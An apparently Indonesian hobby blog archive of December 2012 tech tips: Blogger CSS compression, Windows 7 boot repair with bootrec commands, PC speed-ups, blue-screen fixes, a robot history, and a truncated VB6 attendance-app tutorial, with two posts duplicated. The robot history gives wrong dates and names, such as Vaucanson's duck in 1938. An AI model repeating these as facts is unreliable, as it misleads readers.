Senin, 31 Desember 2012
"Pengharapan
"Cara berpakaian terbaik untuk sukses adalah mengenakan pakaian kerja pada harapan-harapan dan impian-impian Anda.
Sabtu, 22 Desember 2012
Cara Memperingan BloG
Cara Memperingan BloG
Salah satu cara supaya loading halaman web / blog kita menjadi cepat adalah dengan mengoptimalkan isi dari halaman web atau blog kita. Nah , yang akan saya bahas kali ini adalah bagaimana mengoptimalkan kode kode CSS di template yang kita pakai dengan menggunakan CSS Compressor aplikasi dari www.cssdrive.com.
Ibaratnya kita punya file yang berukuran cukup besar yang ingin di share kepada teman-teman kita melalui akses internet, mungkin tidak masalah jika kita mempunyai akses internet yang cepat, nah bagaimana kalau sebaliknya. Salah satu caranya adalah dengan meng kompres file yang kita punya dengan file kompresi seperti Winzip Atau Winrar supaya ukurannya menjadi lebih kecil.
Sekarang kita kembali lagi ke pokok bahasan kita yaitu cara mengoptimalkan kode-kode CSS di template kita. Lalu bagaimana caranya ?
Silahkan anda Sigin di Draft Blogger
dalam Dasbor masuk Tata Letak --> Edit HTML , Kemudian anda cari kode CSS.
Perlu diketahui kode CSS ini terletak diantara Tag <b:skin><![CDATA[ dan Tag ]]></b:skin>.
Terlebih dahulu anda backup dulu template anda untuk berjaga-jaga bila terjadi kesalahan. Kemudian anda copy seluruh kode CSS anda. Setelah itu buka link berikut, akan muncul tampilanseperti ini.
Ada tiga pilihan mode kompresi yaitu Light, Normal, dan Super Compact. Silahkan pilih dan coba saja. Selanjutnya dalam kotak isian seperti ini :
Paste kan kode CSS yang tadi anda copy, kemudian tekan Compress-Its. Setelah berhasil ter kompres, jangan lupa copy kode hasil kompres tersebut.
Selanjutnya anda kembali ke menu Edit HTML anda. Hapus Kode CSS yang lama dan paste kan kode CSS hasil kompres. Jangan lupa Save Template anda.
Sekarang anda coba buka halaman blog anda dan rasakan perbedaannya.
Tips ini mungkin sebagai salah satu cara dari sekian banyak cara yang dipakai supaya loading halaman blog kita lebih cepat terakses dengan koneksi internet yang pas-pasan.ok sob...
CARA MENGATASI KOMPUTER TIDAK MASUK LOADING WINDOWS SETELAH BOOTING
CARA MENGATASI KOMPUTER TIDAK MASUK LOADING WINDOWS SETELAH BOOTING
Cara Mangatasi Komputer atau Laptop pada Windows 7 yang error saat booting dan tidak dapat masuk ke loading Windows hanya bisa masuk BIOS. Setelah memakai Windows 7 Activator atau Windows 7 Loader lalu habis restart, tidak dapat masuk ke Windows hanya restart terus sampai berulang kali.
Permasalahan diatas sebenarnya dapat diperbaiki tanpa harus melakukan Install Ulang pada Windows 7 kalian. Mungkin masalah ini, dapat terjadi juga karena kerusakan dan error yang terjadi karena Master Boot Record ( MBR ) yang crash atau error. Kerusakan lain juga dapat terjadi karena registry windows yang corupt atau registry yang telah teredit oleh virus. Sebenarnya, Anda masih bisa menggunakan Recovery Windows atau Repair Computer with a System Image apabila anda pernah melakukan backup.
Apabila hal ini terjadi pada komputer atau laptop Anda, ikutilah cara berikut ini agar Windows anda dapat berjalan dengan normal.
1. Anda harus memiliki DVD kaset Windows 7 terlebih dahulu. Baik itu Ultimate, Home Basic, Profesional, Starter tergantung dari OS ( Operating System ) yang sebelumnya dipakai.
2. Hidupkan komputer atau laptop anda. Pada saat muncul tampilan BIOS, tekanlah tombol F2 atau F12 untuk merubah First Boot. Ubah menjadi CD/DVD Room Drive, Harddisk menjadi urutan kedua dari atas.
3. Masukkan CD/DVD Master Windows 7 tersebut. Lalu, restart kembali.
4. Tekan salah satu tombol di keyboard, ketika muncul tulisan " Press Any Key From Boot To CD/DVD... "
5. Setelah komputer melakukan booting lewat DVD Room, maka akan muncul tampilan seperti ini.
6. Klik " Repair Your Computer " seperti yang ditujukan gambar diatas.
7. Tunggu beberapa saat, karena komputer akan melakukan cek dan pemindaian data. Lalu klik Next atau OK.
8. Lalu muncul 2 pilihan, bagian atas adalah untuk Recovery Windows. Bagian Bawah adalah dengan restore point, yaitu opsi apabila Anda pernah melakukan backup sebelumnya.
9. Pilih bagian atas yang Recovery, lalu muncul tampilan seperti dibawah ini.
10. Disini Anda dapat menggunakan berbagai opsi untuk memperbaiki kerusakan pada Windows Anda, biasanya saya mencoba Startup Repair terlebih dahulu. Lalu tampil kapasitas harddisk pada Local Disk C atau Local Disk D. Apabila muncul Local Disk D, biasanya opsi Repair tidak bisa digunakan, gunakanlah System Restore untuk mengembalikan data ke jadwal sebelumnya ( opsi kedua ).
11. Apabila tidak bisa juga, gunakanlah System Image Recovery.
12. Untuk opsi terakhir yaitu dengan menggunakan Command Prompt, klik saja tulisan Command Prompt.
Maka akan muncul kotak hitam seperti di cmd.
13. ketik DIR C: lalu tekan enter, agar dapat melihat isi dari local disk C dan membukanya.
Ketik kembali salah satu opsi di bawah ini, mulailah satu persatu untuk mencobanya.
ketik :
bootsect.exe/nt60 c:
bootsect.exe/nt60 all
bootrec.exe/fixmbr
bootrec.exe/fixboot
Ketik lah satu persatu mulai dari atas, lalu tekan ENTER. Apabila belum muncul tulisan The operation has been Succesfull. Coba ketik tulisan yang kedua diatas.
Setelah itu, klik tombol Restart di bawah yang bersebelahan dengan tombol Shut Down.
Apabila cara diatas, semuanya tidak dapat memperbaiki sistem booting pada Windows Anda. Berarti Anda harus melakukan install ulang. Tetapi, hampir 80%, cara diatas dapat mengatasi masalah yang sering kali dijumpai yaitu tidak dapat masuk sampai loading Windows setelah proses booting. Semoga bermanfaat untuk teman-teman.
Permasalahan diatas sebenarnya dapat diperbaiki tanpa harus melakukan Install Ulang pada Windows 7 kalian. Mungkin masalah ini, dapat terjadi juga karena kerusakan dan error yang terjadi karena Master Boot Record ( MBR ) yang crash atau error. Kerusakan lain juga dapat terjadi karena registry windows yang corupt atau registry yang telah teredit oleh virus. Sebenarnya, Anda masih bisa menggunakan Recovery Windows atau Repair Computer with a System Image apabila anda pernah melakukan backup.
Apabila hal ini terjadi pada komputer atau laptop Anda, ikutilah cara berikut ini agar Windows anda dapat berjalan dengan normal.
1. Anda harus memiliki DVD kaset Windows 7 terlebih dahulu. Baik itu Ultimate, Home Basic, Profesional, Starter tergantung dari OS ( Operating System ) yang sebelumnya dipakai.
2. Hidupkan komputer atau laptop anda. Pada saat muncul tampilan BIOS, tekanlah tombol F2 atau F12 untuk merubah First Boot. Ubah menjadi CD/DVD Room Drive, Harddisk menjadi urutan kedua dari atas.
3. Masukkan CD/DVD Master Windows 7 tersebut. Lalu, restart kembali.
4. Tekan salah satu tombol di keyboard, ketika muncul tulisan " Press Any Key From Boot To CD/DVD... "
5. Setelah komputer melakukan booting lewat DVD Room, maka akan muncul tampilan seperti ini.
6. Klik " Repair Your Computer " seperti yang ditujukan gambar diatas.
7. Tunggu beberapa saat, karena komputer akan melakukan cek dan pemindaian data. Lalu klik Next atau OK.
8. Lalu muncul 2 pilihan, bagian atas adalah untuk Recovery Windows. Bagian Bawah adalah dengan restore point, yaitu opsi apabila Anda pernah melakukan backup sebelumnya.
9. Pilih bagian atas yang Recovery, lalu muncul tampilan seperti dibawah ini.
10. Disini Anda dapat menggunakan berbagai opsi untuk memperbaiki kerusakan pada Windows Anda, biasanya saya mencoba Startup Repair terlebih dahulu. Lalu tampil kapasitas harddisk pada Local Disk C atau Local Disk D. Apabila muncul Local Disk D, biasanya opsi Repair tidak bisa digunakan, gunakanlah System Restore untuk mengembalikan data ke jadwal sebelumnya ( opsi kedua ).
11. Apabila tidak bisa juga, gunakanlah System Image Recovery.
12. Untuk opsi terakhir yaitu dengan menggunakan Command Prompt, klik saja tulisan Command Prompt.
Maka akan muncul kotak hitam seperti di cmd.
13. ketik DIR C: lalu tekan enter, agar dapat melihat isi dari local disk C dan membukanya.
Ketik kembali salah satu opsi di bawah ini, mulailah satu persatu untuk mencobanya.
ketik :
bootsect.exe/nt60 c:
bootsect.exe/nt60 all
bootrec.exe/fixmbr
bootrec.exe/fixboot
Ketik lah satu persatu mulai dari atas, lalu tekan ENTER. Apabila belum muncul tulisan The operation has been Succesfull. Coba ketik tulisan yang kedua diatas.
Setelah itu, klik tombol Restart di bawah yang bersebelahan dengan tombol Shut Down.
Apabila cara diatas, semuanya tidak dapat memperbaiki sistem booting pada Windows Anda. Berarti Anda harus melakukan install ulang. Tetapi, hampir 80%, cara diatas dapat mengatasi masalah yang sering kali dijumpai yaitu tidak dapat masuk sampai loading Windows setelah proses booting. Semoga bermanfaat untuk teman-teman.
7 Cara Mempercepat Komputer
7 Cara Mempercepat Komputer
Semua orang menginginkan komputer yang ia miliki merespon cepat setiap kali pemiliknya menginginkan sesuatu. Misal ketika anda mengklik shortcut Photoshop pada start menu / desktop anda. Maka saya yakin anda menginginkan supaya software Photoshop yang hendak anda buka terbuka secepat kilat, tapi kenytaannya tidak demikian. Justru yang anda rasakan, kinerja komputer bersistem operasi Widows anda semakin lemot, tidak responsif dan lain-lain tergantung anda menyebutnya apa.
Untuk mempercepat komputer, menurut pengalaman saya ada dua macam, mempercepat kinerja komputer dengan bantuan software dan mempercepat komputer dengan cara manual. Dari kedua macam cara tersebut, cara pertama relatif lebih aman dilakukan dan tentunya lebih mudah karena anda cukup klak klik, maka si-software akan melakukan tugasnya. Cara untuk mempercepat komputer yang kedua (manual) memiliki resiko yang lebih besar dan tidak saya sarankan untuk pemula seperti saya.
Kedua macam cara mempercepat komputer di atas, semua beresiko yang bisa mengakibatkan kegegalan booting atau hanya sekedar tidak bisa melakukan beberapa service yang sebelumnya bisa dijalankan secara lancar.
Sebelum anda melakukan 7 Cara Jitu Mempercepat Komputer, pastikan anda melakukan backup system (membuat restore point) komputer anda untuk menghindari resiko yang tidak anda inginkan. Sekarang, tiba saatnya sudah untuk saya membagikan sedikit apa yang saya tahu. Pada artiek ini, saya hanya akan membahas bagaimana cara mempercepat komputer dengan metode manual.
1. Sesuaikan Hardware Dengan Kebutuhan Anda Komponen terpenting dalam sebuah komputer adalah hardware. Anda tidak akan mendapatkan hasil yang maksimal menjalankan software terbaru jika hardware dalam komputer anda misal hanya Pentium III. Jadi, sesuaikan hardware anda dengan kebutuhan anda supaya dapat mempercepat komputer anda.
2. Gunakan Antivirus Terbaik Untuk Scanning Komputer dari Virus, Spyware dan Adware Antivirus menjadi salah satu software yang wajib ada dikomputer anda. Dengan menggunakan anti virus terbaik, komputer anda akan terlindungi dari serangan Virus, Spyware dan Adware yang akan membuat sistem anda terasa lebih berat karena virus biasanya akan melakukan proses di belakang layar (background).
3. Lakukan Disk Defragment Secara Berkala Defragment merupakan proses menata file yang awalnya berantakan menjadi tersusun rapi sedemikian rupa yang akan mempermudah sistem dalam menemukan file yang ia butuhkan. Dengan tertatanya file system windows anda, secara otomatis komputer akan berjalan lebih cepat (mempercepat komputer).
4. Scan System File Windows untuk mengecek kerusakan file systemnya Sebuah sistem operasi adalah kumpulan file yang melakukan fungsi yang berbeda. Hal ini dimungkinkan, dari waktu ke waktu, bahwa satu atau lebih file-file sistem telah berubah atau menjadi rusak. Jika hal ini terjadi, kecepatan sistem Anda bisa berkurang. Dengan menggunakan utilitas yang disebut ” System File Checking”, dia akan memeriksa file-file dengan benar masalah bisa ditemukan.
5. Kurangi Startup Program yang berjalan secara otomatis saat booting atau startup akan memperlambat proses booting. Jadi, akan lebih arif jika anda membuang minimal mengurangi software list yang berjalan secara otomatis pada saat startup.Untuk membuang beberapa software list pada startup caranya: Klik Start > Run > Ketik “msconfig” tanpa tanda kutip > Enter > Pilih Tab Startup > uncheck software yang hendak anda buang dari proses booting.
6. Uninstall Software Komputer Yang Sudah Tidak Anda Gunakan / Perlukan Seiring waktu, mungkin anda telah menginstal berbagai macam software ke dalam system komputer anda. Selain akan membuat hard disk anda penuh, tentu saja akan berimbas juga ke system karena harus membaca ribuan file bahkan jutaan.
7. Atur Efek Visual ke posisi Best Performance Windows menyediakan beberapa efek visual yang menarik termasuk jendela animasi dan menu memudar. Jika Anda tidak memiliki cukup memori operasi (lihat nomor 1 di atas), efek ini dapat memperlambat komputer Anda. Menyesuaikan atau mengurangi efek visual dapat membuat perbedaan. Untuk mempercepat Vista di komputer tertentu Anda dapat menonaktifkan fitur dan fungsi yang tidak digunakan. Untuk informasi lebih lanjut, baca “Bagaimana mempercepat Windows Vista.”
Jika Sob telah melakukan 7 langkah di atas untuk mempercepat komputer anda, yang aku harap sob akan menikmati komputer yang responsif dan nyaman digunakan.
7 Cara Mempercepat Komputer:
7 Cara Mempercepat Komputer:
"Semua orang menginginkan komputer yang ia miliki merespon cepat setiap kali pemiliknya menginginkan sesuatu. Misal ketika anda mengklik shortcut Photoshop pada start menu / desktop anda. Maka saya yakin anda menginginkan supaya software Photoshop yang hendak anda buka terbuka secepat kilat, tapi kenytaannya tidak demikian. Justru yang anda rasakan, kinerja komputer bersistem operasi Widows anda semakin lemot, tidak responsif dan lain-lain tergantung anda menyebutnya apa.
Untuk mempercepat komputer, menurut pengalaman saya ada dua macam, mempercepat kinerja komputer dengan bantuan software dan mempercepat komputer dengan cara manual. Dari kedua macam cara tersebut, cara pertama relatif lebih aman dilakukan dan tentunya lebih mudah karena anda cukup klak klik, maka si-software akan melakukan tugasnya. Cara untuk mempercepat komputer yang kedua (manual) memiliki resiko yang lebih besar dan tidak saya sarankan untuk pemula seperti saya.
Kedua macam cara mempercepat komputer di atas, semua beresiko yang bisa mengakibatkan kegegalan booting atau hanya sekedar tidak bisa melakukan beberapa service yang sebelumnya bisa dijalankan secara lancar.
Sebelum anda melakukan 7 Cara Jitu Mempercepat Komputer, pastikan anda melakukan backup system (membuat restore point) komputer anda untuk menghindari resiko yang tidak anda inginkan. Sekarang, tiba saatnya sudah untuk saya membagikan sedikit apa yang saya tahu. Pada artiek ini, saya hanya akan membahas bagaimana cara mempercepat komputer dengan metode manual.
1. Sesuaikan Hardware Dengan Kebutuhan Anda Komponen terpenting dalam sebuah komputer adalah hardware. Anda tidak akan mendapatkan hasil yang maksimal menjalankan software terbaru jika hardware dalam komputer anda misal hanya Pentium III. Jadi, sesuaikan hardware anda dengan kebutuhan anda supaya dapat mempercepat komputer anda.
2. Gunakan Antivirus Terbaik Untuk Scanning Komputer dari Virus, Spyware dan Adware Antivirus menjadi salah satu software yang wajib ada dikomputer anda. Dengan menggunakan anti virus terbaik, komputer anda akan terlindungi dari serangan Virus, Spyware dan Adware yang akan membuat sistem anda terasa lebih berat karena virus biasanya akan melakukan proses di belakang layar (background).
3. Lakukan Disk Defragment Secara Berkala Defragment merupakan proses menata file yang awalnya berantakan menjadi tersusun rapi sedemikian rupa yang akan mempermudah sistem dalam menemukan file yang ia butuhkan. Dengan tertatanya file system windows anda, secara otomatis komputer akan berjalan lebih cepat (mempercepat komputer).
4. Scan System File Windows untuk mengecek kerusakan file systemnya Sebuah sistem operasi adalah kumpulan file yang melakukan fungsi yang berbeda. Hal ini dimungkinkan, dari waktu ke waktu, bahwa satu atau lebih file-file sistem telah berubah atau menjadi rusak. Jika hal ini terjadi, kecepatan sistem Anda bisa berkurang. Dengan menggunakan utilitas yang disebut ” System File Checking”, dia akan memeriksa file-file dengan benar masalah bisa ditemukan.
5. Kurangi Startup Program yang berjalan secara otomatis saat booting atau startup akan memperlambat proses booting. Jadi, akan lebih arif jika anda membuang minimal mengurangi software list yang berjalan secara otomatis pada saat startup.Untuk membuang beberapa software list pada startup caranya: Klik Start > Run > Ketik “msconfig” tanpa tanda kutip > Enter > Pilih Tab Startup > uncheck software yang hendak anda buang dari proses booting.
6. Uninstall Software Komputer Yang Sudah Tidak Anda Gunakan / Perlukan Seiring waktu, mungkin anda telah menginstal berbagai macam software ke dalam system komputer anda. Selain akan membuat hard disk anda penuh, tentu saja akan berimbas juga ke system karena harus membaca ribuan file bahkan jutaan.
7. Atur Efek Visual ke posisi Best Performance Windows menyediakan beberapa efek visual yang menarik termasuk jendela animasi dan menu memudar. Jika Anda tidak memiliki cukup memori operasi (lihat nomor 1 di atas), efek ini dapat memperlambat komputer Anda. Menyesuaikan atau mengurangi efek visual dapat membuat perbedaan. Untuk mempercepat Vista di komputer tertentu Anda dapat menonaktifkan fitur dan fungsi yang tidak digunakan. Untuk informasi lebih lanjut, baca “Bagaimana mempercepat Windows Vista.”
Jika Sob telah melakukan 7 langkah di atas untuk mempercepat komputer anda, yang aku harap sob akan menikmati komputer yang responsif dan nyaman digunakan.
Cara Memperbaiki Komputer Yang Rusak Seperti
Cara Memperbaiki Komputer Yang Rusak Seperti
A. Lambat ( Lemot )
B. Keluar Bunyi Beep
C. Restart Sendiri, Hang/Crash ( NOT RESPONDING ),
D. Mati Total
E. Blue Screen
"Jagan kuwatir Sob itu semua adalah beberapa masalah umum yang sering terjadi dalam sebuah PC anda, dan biasanya kerusakan-kerusakan (Error) disebabkan oleh karena Cara Pemakaian, sistem kelistrikan, dan Usia Hardware yang sudah tua. Masalah yang di timbulkan oleh KELISTRIKANlah yang memiliki banyak sebab, seperti Listrik sering mati tiba-tiba, Tegangan tidak stabil, dan terjadi konsleting antar kabel di dalam komputer. YUPS berikut ini adalah cara untuk mengatasi Masalah2 tersebut diatas.
Solusi Memperbaiki Komputer Lambat ( Lemot, Lelet )
Kalau Sob menginginkan Kinerja Komputer/pc yang stabil dan tidak Lambat maka yg harus anda perhatikan adalah sebagai berikut :
1. Dalam memilih dan membeli spesifikasi Hardware harus sesuai dengan hardware yang lain.
2. Jagalah Komputer dari Kotoran dan debu.
3. Tempatkanlah Pc/komputer di tempat yang sejuk, terhindar dari panas matahari dan Hujan.
4. Gunakanlah Stabilizer atau UPS untuk mencegah dari tegangan Listrik yang tidak stabil.
5. Gunakanlah Virtual memory, dengan menambahkan kapasitas virtual ini akan membantu kinerja pc anda.
6. Manajemen File yang baik
7. Gunakanlah antivirus yang tepat, dan jangan gunakan lebih dari 2
8. Perhatikan Driver-driver yang diinstal
9. Gunakanlah Tune Up Utilities Gratis yang tersedia banyak di internet.
Untuk Mebuktikannya Sob harus bisa melakukan ya sendiri di ruma ya.. selamat mencobak ... :)
Cara Memperbaiki Blue Screen of Death pada Komputer
Tips Cara Memperbaiki Blue Screen of Death pada Komputer :
1. Periksa Kondisi Komputer Secara Umum
Sebelum melakukan troubleshooting lebih lanjut, langkah pertama yang harus kita lakukan adalah memeriksa kondisi komputer secara umum, diantaranya adalah :
Periksa kebersihan didalam Casing CPU. Bersihkan debu dan kotoran lainnya bisa denga kuas dan vacuum cleaner, bila perlu siapkan electrical contact cleaner untuk membersihkan Motherboard.
Periksa kondisi suhu tiap-tiap komponen seperti Power Supply ( pastikan fan berputar secara normal), VGA Card dan Heatsink Processor.
Pastikan berbagai komponen (seperti RAM, VGA Card, konektor IDE / SATA, konektor Power Supply, dll) sudah terpasang dengan benar, untuk memastikannya bisa dengan mencabut dan memasangnya kembali.
Bila Anda baru saja memasang komponen hardware baru (misal VGA Card), cabut aja dulu dan coba jalankan komputer kali aja peyebab BlueScreen dari kompone tersebut.
2. Gunakan Mode “Safe Mode “
Langkah selanjutnya adalah menjalankan Windows dalam Mode "Safe Mode" yang merupakan salah satu pilihan pada menu Advance Boot Option Windows XP, yaitu dengan menekan berulang-ulang tombol F8 pada saat sistem akan melakukan startup. Setelah Windows berhasil masuk ke Safe Mode, lakukan beberapa troubleshooting berikut:
Bersihkan hardisk dari antivirus, mallware & spyware dengan cara menjalankan program virus scanner , misalnya Norman Anti Mallware.
Uninstall Driver yang bermasalah, caranya dengan masuk ke jendela Computer Management klik Device Manager dan carilah komponen yang ada tanda serunya, atau driver komponen yang baru saja diinstall atau diupdate.
Bila perlu uninstall dulu program antivirus yang terpasang, bila kondisi kondisi komputer sudah normal bisa diinstall lagi dan pastikan database engine-ya selalu up to date.
Kita juga bisa menggunakan utility “System Restore” untuk mengembalikan setingan computer ke kondisi sebelumnya. Caranya klik Start, All Program , Accessories, System Tools, System Restore.
3. Periksa Kondisi Hardisk
Kondisi hardisk yang bad juga bisa mengakibatkan terjadinya BlueScreen, oleh karena itu periksalah kondisi hardisk dengan menjalankan perintah Chekdisk. Untuk pencegahan ada baiknya kita juga menggunakan beberapa aplikasi untuk mengecek kondisi hardisk. Jalankan juga program Defragmentasi untuk memastikan hardisk bekerja secara optimal.
4.Periksa Kondisi Memori / RAM
Periksa kondisi Memori / RAM, pastikan telah terpasang dengan benar, dan jalankan program utuk memeriksa kondisi Memori misalnya “Windows Memory Diagnostic”.
5. Repair Sistem Operasi Windows.
Adakalanya BlueScreen terjadi karena ada beberapa file Windows yang corrupt, untuk mengatasinya cara yang paling gampang adalah dengan melakukan Repair pada sistem operasi Windows kesayangan Anda tersebut.
6. Gunakanlah Tools untuk menganalisa Penyebab Terjadinya BlueScreen.
Carilah Dump File pada hardisk komputer yang mengalami BlueScreen, biasanya di C:\WINDOWS\Minidump lalu copy ke komputer kita dan jalankan aplikasi WhoCrashed atau BlueScreenView yang merupakan program untuk mencari peyebab BlueScreen.
"Moga Sob bisa melakukan ya... selamat Mencobah....
Sejarah Robot
JUMAT, 21 Desember 2012
sejarah robot
Kata robot pertama kali diperkenalakan oleh seorang penulis dari Czech yang bernama Karel pada tahun 1921. Kata Robot berasal dari kata ‘robota’ yang berarti: pekerja sendiri.
Sejarah robot bermula ketika sistem otomatis dibuat oleh Jacques de Vaucanson pada tahun 1938, yang membuat bebek mekanik yang dapat memakan dan mencincang biiji bijian, membuka dan menutup sayapnya. Kemudian tahun 1796, Hisashine Tanaga di Jepang berhasil membuat mainan mekanik yang dapat mnghidangkan the dan menulis huruf kanji. Lalu 1926, Nikola Tesla mendemintrasikan perahu bot yang dapat dikontrol dengan radio. Tahun 1928, Makoto Nishimura membuat robot pertama di Jepang.
Sejalan dengan perkembangan teknologi Elektronika, maka perkembangan robot ini melaju pesat, seprti tahun 1948, William Grey Walter membuat robot elektronik otomatis pertama dimana robot ini dapat merespon cahaya dan dapat melakukan kontak dengan objek dari luar. Pada tahun 1954, saat dimulainya zaman digital, sebuah robot digital yang dapat deprogram ditemukan oleh George Devol.
Pada abad modern ini sudah bermacam-macam robot yang dicipta dan digunakan seperti dalam industri, rumah sakit, transportasi, pendidikan dan kehidupan sehari-hari. Seperti robot yang digunakan untuk mengecat mobil, robot yang digunakan untuk merakit komponen elektronik dan juga humanoid robot yaiitu robot yang memiliki muka, yang mampu berjalan dan bertindak seperti manusia.
Jumat, 21 Desember 2012
Membuat Aplikasi Absensi Menggunakan Visual Basic
Membuat Aplikasi Absensi Menggunakan Visual Basic.
" sebelum kita memulai tutorial ini , ada baiknya saya ucapkan terimakasih atas kunjungan setia Blog ini, Mungkin ada yang bertanya kenapa Blognya enggak pernah update ?, ya maklumlah Sob,,, lagi banyak tugas ne jadi telat , Tapi engak apa-apa semakin lama tentunya semakin banyak ide , nah kali ini saya mau coba berbagai ide tersebut...
Siapa yang enggak tahu sih tentang absensi ?, sekolah bahkan perusahan tak terlepas dari yang anamanya absensi ini , kalau biasanya absensi hanya menggunakan secarik kertas tapi kali ini kita coba aplikasikan dengan program komputer , ya …biar lebih keren lah,,,,he….he… .
Sebenernya Aplikasi ini bisa dibuat menggunakan banyak program
misalnya Accses, Foxfro, Mysql, SQl ,VB, C++, bahkan MS.Excel.,.
Kalau pake Acses bukan kurang bagus Cuma sedikit kurang apdol sebab program ini enggak bisa standlone (berdiri sendiri) so kalau komputer kita enggak punya program accses maka program aplikasi enggak bisa jalan , makanya saya mau coba buat pake program Vb, kali ini sya menggukan Vb 6.0.
Letsgo kita mulai…
Dalam palikasi ini kita membutuhkan beberapa Form (tampilan ).
1. Form Input Data Yang akan diabsesn
2. Form Absesni
3. Dan hasil Absensi
Dalam Form input kita membutuhkan beberapa data masukan seperti : No., Nama, Bagian/kelas, tanggal/jam, jenis kelamin .
Data masukan tersebut hanya seabagai contoh , tentunya Anda bisa juga menambahkan yang lainnya sesuai dengan kebutuhan anda . ne dia gambar form input data .
Sederhana bukan sob…..?.
Pada bagian form ini ada bebrapa tool untuk mengolah data ada Datasiswa , Save data, Delete (hapus) data, .
Cara form ini adalah ketika kita memasukan data kemudian di klik Save maka data akan tersimpan ke Dalam data Base untuk menyimpan data , untuk menghubugkan ke DataBase kita gunakan jembatan Yaitu tool DataGrid (data siswa).
Jadi yang perlu anda lakukan adalah membuat database sebagai tempat menyimpan data tersebut , caranya cukup mudah .
Pada menu bar Visual basik Pilih menu AddIns-Visula data Manager, sampai muncul jendela berikut:
Dan lakukan seperti pada gambar , coba buat data base dengan Acsess versi 7.0 kemudian simpan dalam folder yang sama dengan project Aplikasi yang kita buat.
Misal E://Rahmat/AplikasiAbsesi. Langkah selanjutnya kita masukan beberapa fields dalam database tersebut.
Disinilah kita akan memasukan data fieldsnya , gamar diatas hnaya contoh aja, pada database ini .tentunya untuk membuat Rcordnya tidaklah terlalu susah, anda cukup Klik Add Fields, sampai muncul Jendela baru,
Masukan nama record yang akan kita gunakan tentukan type , sesuai dengan data yang akan kita masukan sialahkan pilih pada bagian type.jika data yang kita masukan sudah pas sesuai dengan kebutuhan , kemudian klik Add index (Field Kunci/primary key) diharapakan sama dengan nama fields yang anda buat. Kalau hal ini sudah lakukan anda tinggal Klik Build The Table (jika data untuk absensi sekolah baiknya gunakan kelas sebagai primary key dan unique jangan dicheklist biar bisa di duplicate dan field no boleh dihilangkan), menunjukan bahawa tabel ini yakin akan kita buat .
Untuk melihat berhasil atau tidaknya data base yang kita buat , tutp Program vb Kita kemudian kita coba buaka database yang baru aja kita buat caranya sama seperti waktu kita membuat database AddIns-Visula data Manager-muncul jendela-klik Open database – Cari database yang baru aja kita buat
Nah itulah hasilnya , kebetulan saya sudah mengisi data-nya , anda cukup klik kanan pada salah satu table kemudian klik Open .
Ok sekarang kita kembali Ke Form Input data.,seperti yang telah di jelaskan pada bagian ini kita akan memasukan data kedalam database yang terdiri dari No, Nip/nis/Nim, Nama, Jenis kelamin, Tanggal , Kelas/bagian saja .Sementara Alpa, izin, sakit,masuk dan total kita masukan pada form interface Input absensi yang nanti akan kita buat. Dengan menggunakan data base yang telah kita buat . Sebelumnya kita keluarkan dulu tool-tool yang kita butuhkan dalam membuat aplikasi ini ,pada toolbox -klik kanan -lalu pada tab Control pilih komponen berikut ini:
1. Microsoft Data Grid Control 6.0
2. Microsoft FlexGrid Control 6.0
Cukup memberi tanda checklist kemudian klik Apply sampai muncul pada Toolbox component seperti gambar berikut ini:
Pada bagian sebelah kiri ada beberapa Icon , dan icon-icon itulah yang akan kita gunakan dalam membuat aplikasi ini.
Selanjutnya kita desain Form terlebih dahulu cara nya gampang untk membuat Form baru anda cukup mengklik Menu Project -Add From -Open sampai muncul form seperti gambar berikut ini:
Pada form ini terlihat nama form dengan nama Form 3 , tentunya kita bisa menggantinya sesuai kehendak kita misal Aplikasi Absensi , caranya Pada Menu View -klik Properties Windows hingga muncul gambar:
Pada bagian alphabetic -caption , kita bisa mengganti Form3 menjadi nama yang lain sedangkan pada bagian (name ) boleh diganti /tidak , karena akan berpengaruh pada saat memasukan script sebaiknya kita biarkan aja , kecuali program yang akan kita sangat Kompleks kita bisa menggantinya untuk membedakan form-from tersebut.
Go nex t (bukan goblok nakat ya!… but is terus…..,…….he….he…J, sekarang kita Buat fields interface menggunakan Label dan text, label sebagai penanda, dan text sebagai tempat menuliskan data input caranya cukup mudah , kita cukup mengklik icon label dengan tanda huruf A:
Kemudain klik diarea form tahan untuk menentukan ukurannya , kemudian beri nama baru pada bagian caption dengan nama yang lain :
Kemudian untuk text sama seperti pembutan label klik icon textbox-kemudian drag diarea form3, selanjutnya pada bagian name anda boleh mengganti /biarkan saja , kira hasilnya seperti berikut:
Ulangi langkah diatas sesuai dengan banyaknya fields yang kita buat, jika sudah selanjutnya kita akan membuat jembatan DataBase , yaitu menggunkan DataGrid caranya sama saja seperti membuat label dan text hanya saja kita perlu sedikit memodifikasinya di bagian Properties Windows ,letsgo bro….!
Perhatikan gambar diatas!, disitu ada Data1 dan inilah yang akan kita gunakan sebagai jembatan Koneksi Ke database kita, Pada bagian Properties windows di bagian DatabaseName , masukan nama Database yang sebelumnya kita buat, diamana akan diminta memasukan Path lokasi tempat kita menyimpan Data tersebut, selanjutya pada bagian Recordsource di properties windows , anda pilih nama tabel yang ada dalam database yang pernah kita buat, misalnya saya memiliki tabel2 dengan nama DataBase tabel1 , kemudian pada Reecordset Type ganti 1-Dynashet menjadi 0-table .
Selanjutnya kita buat command Button sebagai intruksi Perintah terhadap suatu data , kita buat saja sebanyak Dua buah commad , caranya sama sewaktu kita membuat label ,text, dan DataGrid, pada bagian Caption di Proerties windows ganti namanya, umtuk Command 1=Save New Data dan Command2 =Delete/Hapus.,
Selanjutnya klik Icon jam kemudian letakan di From3 pada properties windows di bagian Interval masukan angka 10
secara keseluruhan Form input data akan kira -kira seperti ini :
Giamana bisa kan?, oh ya untuk warna silahkan aja klik-klik di bagian Properties windows mungkin lain kali saya jealaskan …..he….he….
Selanjutnya kita masukan script yang akan menjalankan instruksi untuk menyimpan Fields-fields kedalam database sewaktu kit mengklik Save New Data,
Adapun caranya , pada bagian Save New Data -klik Kanan-View Code atau Double Klik pada Command1= Save New Data
Selanjutnya masukan Script berikut ini diantara Private Sub Command1_Click() Dan End Sub, Perlu di perhatikan command1 bisa beruBah jika anda mengubahnya dengan nama lain pada bagian Properties Windows di bagian Name , misalnya Save maka ktika di lihat di double Klik maka yang tampil bukan Command1 melainkan Save.
Oke ini dia scrip yang harus anda masukan pada bagian ini:
————————————————————————————————————
If Text2.Text = “” And Text7.Text = “” Then
x = MsgBox(“Mohon Isi Data Dengan benar!”, vbOKOnly + vbCritical, “Warning!”)
If x = vbOK Then
End If
Else
x = MsgBox(“Anda yakin Ingin Menyimpan Data ini?”, vbYesNo + vbInformation, “Information”)
If x = vbYes Then
Data1.Recordset.AddNew
Data1.Recordset!no = Text1.Text
Data1.Recordset!nip = Text2.Text
